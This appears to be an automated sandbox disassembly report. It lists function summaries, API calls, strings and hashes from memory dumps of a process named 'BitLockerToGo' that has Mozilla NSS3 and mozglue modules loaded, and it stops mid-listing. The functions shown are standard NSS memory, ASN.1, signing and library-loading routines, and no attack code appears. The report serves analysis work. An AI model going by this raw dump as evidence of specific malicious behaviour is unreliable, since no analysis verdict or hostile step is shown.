String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 12dffe60c5696a8657db78736ee2dbe29278f308295f9fb039eb1c27a32fee42
Instruction ID: d8f3990b7f81615f50a8dc53c1a241ff9f1cd9c0312a6a3bb536c6340bdb9417
Opcode Fuzzy Hash: 12dffe60c5696a8657db78736ee2dbe29278f308295f9fb039eb1c27a32fee42
Instruction Fuzzy Hash: 31A169B2A55AA18BEB4446BCCD0235432A5BB9332AF59C364E830C7ECDDB76D443C351

Function 6C968E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C968E01,00000000,6C969060,6CA70B64), ref: 6C968E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C968E01,00000000,6C969060,6CA70B64), ref: 6C968E9E
PORT_ArenaAlloc_Util.NSS3(6CA70B64,00000001,?,?,?,?,6C968E01,00000000,6C969060,6CA70B64), ref: 6C968EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C968E01,00000000,6C969060,6CA70B64), ref: 6C968EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C968E01,00000000,6C969060,6CA70B64), ref: 6C968ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C968E01,00000000,6C969060,6CA70B64), ref: 6C968EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C968E01), ref: 6C968EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA70B64,6CA70B64), ref: 6C968F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C968F3F

Part of subcall function 6C96A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C96A421,00000000,00000000,6C969826), ref: 6C96A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C96904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C968E76

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f829a2216db846c418930ccece47dbe308caab75cfefdac0d61091429bac275b
Instruction ID: 8d9a4e3eb09405c1c9adab23fb164f6d3820a7e2cf1d69393783e24e90dec089
Opcode Fuzzy Hash: f829a2216db846c418930ccece47dbe308caab75cfefdac0d61091429bac275b
Instruction Fuzzy Hash: 2C61E2B5D0011A9BEB10CF66CD80AABB7B9FF85358F154028DC58A7B40E732E955CBE0

Function 6C918E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C918E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C918E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C918EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CA418D0,?), ref: 6C918F03
PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C918F19
PL_FreeArenaPool.NSS3(?), ref: 6C918F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C918F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C918F65
PL_FinishArenaPool.NSS3(?), ref: 6C918FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C918FFE
PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C919012
PL_FreeArenaPool.NSS3(?), ref: 6C919024
PL_FinishArenaPool.NSS3(?), ref: 6C91902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C91903E

Strings

security, xrefs: 6C918EE7

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 1ed48861ab33b452ab5ad8b56696c808a436ba817e3e9fd06ea15e28ba1e0d9a
Instruction ID: 8a8780cbbcf8ca97f2280ba7eda052cb26b4ae23a587ef79b948deff424a8623
Opcode Fuzzy Hash: 1ed48861ab33b452ab5ad8b56696c808a436ba817e3e9fd06ea15e28ba1e0d9a
Instruction Fuzzy Hash: 945159B160C304AFD7145A189C42FAB33A8ABD534CF46082EF85897F40E731D918D7A7

Function 6C9DCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C9DCC7B), ref: 6C9DCD7A

Part of subcall function 6C9DCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C94C1A8,?), ref: 6C9DCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C9DCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C9DCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C9DCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C9DCD8E

Part of subcall function 6C9005C0: PR_EnterMonitor.NSS3 ref: 6C9005D1
Part of subcall function 6C9005C0: PR_ExitMonitor.NSS3 ref: 6C9005EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C9DCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C9DCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C9DCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C9DCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C9DCE48

Strings

getaddrinfo, xrefs: 6C9DCD88, 6C9DCDF9
freeaddrinfo, xrefs: 6C9DCD9F, 6C9DCE10
getnameinfo, xrefs: 6C9DCDB2, 6C9DCE23
wship6.dll, xrefs: 6C9DCDE3
ws2_32.dll, xrefs: 6C9DCD75

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 7c21d76ed13763538fd5e80174c19870ba2753b55cc4714549068267c2277551
Instruction ID: 385eac42a0c7ac3664d96e677f0a28829282fd15336967e25e68956cad1ea23c
Opcode Fuzzy Hash: 7c21d76ed13763538fd5e80174c19870ba2753b55cc4714549068267c2277551
Instruction Fuzzy Hash: 6811BBE5F12A225AD7016D752C15EEE3A9C7B3214CF15C538E509E2E41FB20D54D86F1

Function 6C809590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C7F3217
Part of subcall function 6C7F31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C7F3236
Part of subcall function 6C7F31C0: FreeLibrary.KERNEL32 ref: 6C7F324B
Part of subcall function 6C7F31C0: __Init_thread_footer.LIBCMT ref: 6C7F3260
Part of subcall function 6C7F31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C7F327F
Part of subcall function 6C7F31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7F328E
Part of subcall function 6C7F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7F32AB
Part of subcall function 6C7F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7F32D1
Part of subcall function 6C7F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7F32E5
Part of subcall function 6C7F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7F32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C809675
__Init_thread_footer.LIBCMT ref: 6C809697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C809707
__Init_thread_footer.LIBCMT ref: 6C80971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C809773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8097B7
FreeLibrary.KERNEL32 ref: 6C8097D0
FreeLibrary.KERNEL32 ref: 6C8097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C809824

Strings

NtMapViewOfSection, xrefs: 6C809701
MapViewOfFileNuma2, xrefs: 6C8097B1
ntdll.dll, xrefs: 6C8096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C809670

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 09e8706d1c302401373f28600765603798c6c05aad98d15e826f3afc3caae0c0
Instruction ID: 1cebbb68aa9bbebb7aaafec93d2299b00351d9b92181dbe0f9d36a94b61447e9
Opcode Fuzzy Hash: 09e8706d1c302401373f28600765603798c6c05aad98d15e826f3afc3caae0c0
Instruction Fuzzy Hash: DD61D0717042559BDF318F69DE8CA9E3BB1EB8B358F104939E91583780E734A844CBE1

Function 6C976CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CA41DE0,?), ref: 6C976CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C976D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C976D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C976D82
DER_GetInteger_Util.NSS3(?), ref: 6C976DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C976DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C976E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C976F19
PK11_DigestBegin.NSS3(00000000), ref: 6C976F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C976F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C977011
PK11_FreeSymKey.NSS3(00000000), ref: 6C977033
free.MOZGLUE(?), ref: 6C97703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C977060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C977087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C9770AF

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ebe31b6f92eff2c49f29fa63d1532b73e2e796558eafd403f389d1cafc3833b4
Instruction ID: a593ce7e2e195e143d2c4bc5fc399d28931c09eeba65c7aa1fe54fcc40f63838
Opcode Fuzzy Hash: ebe31b6f92eff2c49f29fa63d1532b73e2e796558eafd403f389d1cafc3833b4
Instruction Fuzzy Hash: 04A119715162009BEB209B24CC55B6B36A8EF9130CF24893DE919DBB81E735D869C7B3

Function 6C93AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93AF39
PR_Unlock.NSS3(?,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93AF69
TlsGetValue.KERNEL32 ref: 6C93B06B
EnterCriticalSection.KERNEL32(?), ref: 6C93B083
PR_Unlock.NSS3(?), ref: 6C93B0A4
TlsGetValue.KERNEL32 ref: 6C93B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C93B0D9
PR_Unlock.NSS3 ref: 6C93B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C93B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C93B182

Part of subcall function 6C96FAB0: free.MOZGLUE(?,-00000001,?,?,6C90F673,00000000,00000000), ref: 6C96FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C93B177

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C91AB95,00000000,?,00000000,00000000,00000000), ref: 6C93B1C2

Part of subcall function 6C961560: TlsGetValue.KERNEL32(00000000,?,6C930844,?), ref: 6C96157A
Part of subcall function 6C961560: EnterCriticalSection.KERNEL32(?,?,?,6C930844,?), ref: 6C96158F
Part of subcall function 6C961560: PR_Unlock.NSS3(?,?,?,?,6C930844,?), ref: 6C9615B2

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 15398cd8765fc938bf1d9df4c6b5d5e82b2810cccf771ac5be7a4d679265d1c2
Instruction ID: 2e4b53de941a900d0328d1fa6bd46bf5bb5841227373bc684a5797d25bff35d7
Opcode Fuzzy Hash: 15398cd8765fc938bf1d9df4c6b5d5e82b2810cccf771ac5be7a4d679265d1c2
Instruction Fuzzy Hash: 2AA1F2B1D00216ABEF019FA4DC41BEA77B4FF29308F104128E909A7751EB35EA55CBE1

Function 6C98AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98ADB1

Part of subcall function 6C96BE30: SECOID_FindOID_Util.NSS3(6C92311B,00000000,?,6C92311B,?), ref: 6C96BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C98ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C98AE08

Part of subcall function 6C96B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA418D0,?), ref: 6C96B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C98AE25
PL_FreeArenaPool.NSS3 ref: 6C98AE63
PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C98AE4D

Part of subcall function 6C894C70: TlsGetValue.KERNEL32(?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894C97
Part of subcall function 6C894C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894CB0
Part of subcall function 6C894C70: PR_Unlock.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98AE93
PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C98AECC
PL_FreeArenaPool.NSS3 ref: 6C98AEDE
PL_FinishArenaPool.NSS3 ref: 6C98AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98AEF5
PL_FinishArenaPool.NSS3 ref: 6C98AF16

Strings

security, xrefs: 6C98ADEE

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 0df0479caa201b954a5b76e7585e2f82baf581e7f6b54a94a7471e1bf7493ec6
Instruction ID: 69f1933b8b78f4097cc7c7aeff5d84eabf67a92327f09d6f5b7afa19c1b1ac7e
Opcode Fuzzy Hash: 0df0479caa201b954a5b76e7585e2f82baf581e7f6b54a94a7471e1bf7493ec6
Instruction Fuzzy Hash: F4412CB1806210ABEB214A189C45BAB32B8AF6130CF540D25E85497FC2FF39D559C6F3

Function 6C928DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C928E22
EnterCriticalSection.KERNEL32(?), ref: 6C928E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C928E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C928E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C928E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C928EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C928EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C928EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C928F00
free.MOZGLUE(?), ref: 6C928F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C928F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C928F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C928F5B
PR_Unlock.NSS3(?), ref: 6C928F72
PR_Unlock.NSS3(?), ref: 6C928F82

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3044ffb2c4c38ebe9ad5e04ae4ff543c413fd4d9adc08726b6dfdc8e7c0d0c0a
Instruction ID: 15cd71ec708ec8053f9b4966811a556b923586f3cf66505da598626ac14100a6
Opcode Fuzzy Hash: 3044ffb2c4c38ebe9ad5e04ae4ff543c413fd4d9adc08726b6dfdc8e7c0d0c0a
Instruction Fuzzy Hash: 1B5159B3D102119FEB149F28CC849AAB7B9FF55318F188129EC489BB00E739ED4587D0

Function 6C95EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C95EE0B

Part of subcall function 6C970BE0: malloc.MOZGLUE(6C968D2D,?,00000000,?), ref: 6C970BF8
Part of subcall function 6C970BE0: TlsGetValue.KERNEL32(6C968D2D,?,00000000,?), ref: 6C970C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C95EEE1

Part of subcall function 6C951D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C951D7E
Part of subcall function 6C951D50: EnterCriticalSection.KERNEL32(?), ref: 6C951D8E
Part of subcall function 6C951D50: PR_Unlock.NSS3(?), ref: 6C951DD3

TlsGetValue.KERNEL32 ref: 6C95EE51
EnterCriticalSection.KERNEL32(?), ref: 6C95EE65
PR_Unlock.NSS3(?), ref: 6C95EEA2
free.MOZGLUE(?), ref: 6C95EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C95EED0
PR_Unlock.NSS3(?), ref: 6C95EF48
free.MOZGLUE(?), ref: 6C95EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C95EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C95EFA4
free.MOZGLUE(?), ref: 6C95EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C95F055
free.MOZGLUE(?), ref: 6C95F060

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 06e7214b420ae5b7f6da6a0480e9f07f3e3ee14bbcea675fb5bab58422749586
Instruction ID: 6ee1d606f5e7b22edc5efa259fe7d576fa2458235a00b9ba4797462b8c5a7ddd
Opcode Fuzzy Hash: 06e7214b420ae5b7f6da6a0480e9f07f3e3ee14bbcea675fb5bab58422749586
Instruction Fuzzy Hash: 288181B1E00209ABDF01DF65DC85AEE7BB9BF19318F544024ED19A3711E736E924CBA1

Function 6C924CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C924D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C924D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C924DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C924E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C924E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C924E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C924E85
DER_Encode_Util.NSS3(?,?,6CA705A4,00000000), ref: 6C924EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C924F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C924F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C924F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C924F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C924F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C924FC8

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
